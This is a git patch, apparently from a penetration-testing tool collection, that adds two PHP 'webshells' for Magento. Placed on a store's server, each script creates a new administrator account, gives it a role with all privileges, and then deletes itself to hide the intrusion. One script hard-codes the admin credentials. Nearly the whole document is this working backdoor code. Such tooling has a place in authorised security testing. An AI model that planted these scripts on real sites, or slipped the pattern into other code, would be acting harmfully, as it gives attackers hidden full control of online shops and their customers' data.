From 59a8f512af5f3354f3e93400d52dc45c70db2da4 Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Tue, 3 Nov 2020 11:51:54 +0000 Subject: [PATCH] Add Magento webshells --- Web-Shells/Magento/newadmin-Inchoo.php | 77 ++++++++++++++++++++ Web-Shells/Magento/newadmin-KINKCreative.php | 69 ++++++++++++++++++ 2 files changed, 146 insertions(+) create mode 100644 Web-Shells/Magento/newadmin-Inchoo.php create mode 100644 Web-Shells/Magento/newadmin-KINKCreative.php diff --git a/Web-Shells/Magento/newadmin-Inchoo.php b/Web-Shells/Magento/newadmin-Inchoo.php new file mode 100644 index 00000000..5789f180 --- /dev/null +++ b/Web-Shells/Magento/newadmin-Inchoo.php @@ -0,0 +1,77 @@ + + */ + +//define USERNAME, EMAIL and PASSWORD and uncomment(#) this 3 lines +#define('USERNAME','inchoo'); +#define('EMAIL','xyz@inchoo.net'); +#define('PASSWORD','inchoo555'); + + +if(!defined('USERNAME') || !defined('EMAIL') || !defined('PASSWORD')){ + echo 'Edit this file and define USERNAME, EMAIL and PASSWORD.'; + exit; +} + +//load Magento +$mageFilename = 'app/Mage.php'; +if (!file_exists($mageFilename)) { + echo $mageFilename." was not found"; + exit; +} +require_once $mageFilename; +Mage::app(); + +try { + //create new user + $user = Mage::getModel('admin/user') + ->setData(array( + 'username' => USERNAME, + 'firstname' => 'John', + 'lastname' => 'Doe', + 'email' => EMAIL, + 'password' => PASSWORD, + 'is_active' => 1 + ))->save(); + +} catch (Exception $e) { + echo $e->getMessage(); + exit; +} + +try { + //create new role + $role = Mage::getModel("admin/roles") + ->setName('Inchoo') + ->setRoleType('G') + ->save(); + + //give "all" privileges to role + Mage::getModel("admin/rules") + ->setRoleId($role->getId()) + ->setResources(array("all")) + ->saveRel(); + +} catch (Mage_Core_Exception $e) { + echo $e->getMessage(); + exit; +} catch (Exception $e) { + echo 'Error while saving role.'; + exit; +} + +try { + //assign user to role + $user->setRoleIds(array($role->getId())) + ->setRoleUserId($user->getUserId()) + ->saveRelations(); + +} catch (Exception $e) { + echo $e->getMessage(); + exit; +} + +echo 'Admin User sucessfully created!

THIS FILE WILL NOW TRY TO DELETE ITSELF, BUT PLEASE CHECK TO BE SURE!'; +@unlink(__FILE__); diff --git a/Web-Shells/Magento/newadmin-KINKCreative.php b/Web-Shells/Magento/newadmin-KINKCreative.php new file mode 100644 index 00000000..9eefcdc6 --- /dev/null +++ b/Web-Shells/Magento/newadmin-KINKCreative.php @@ -0,0 +1,69 @@ +setData(array( + 'username' => 'admin', + 'firstname' => 'Admin', + 'lastname' => 'User', + 'email' => 'admin@mymagento.com', + 'password' => 'admi', + 'is_active' => 1 + ))->save(); + +} catch (Exception $e) { + echo $e->getMessage(); + exit; +} + +try { + //create new role + $role = Mage::getModel("admin/roles") + ->setName('Inchoo') + ->setRoleType('G') + ->save(); + + //give "all" privileges to role + Mage::getModel("admin/rules") + ->setRoleId($role->getId()) + ->setResources(array("all")) + ->saveRel(); + +} catch (Mage_Core_Exception $e) { + echo $e->getMessage(); + exit; +} catch (Exception $e) { + echo 'Error while saving role.'; + exit; +} + +try { + //assign user to role + $user->setRoleIds(array($role->getId())) + ->setRoleUserId($user->getUserId()) + ->saveRelations(); + +} catch (Exception $e) { + echo $e->getMessage(); + exit; +} + +echo 'Admin User sucessfully created!'; +echo '

THIS FILE WILL NOW TRY TO DELETE ITSELF, BUT PLEASE CHECK TO BE SURE!'; +@unlink(__FILE__); +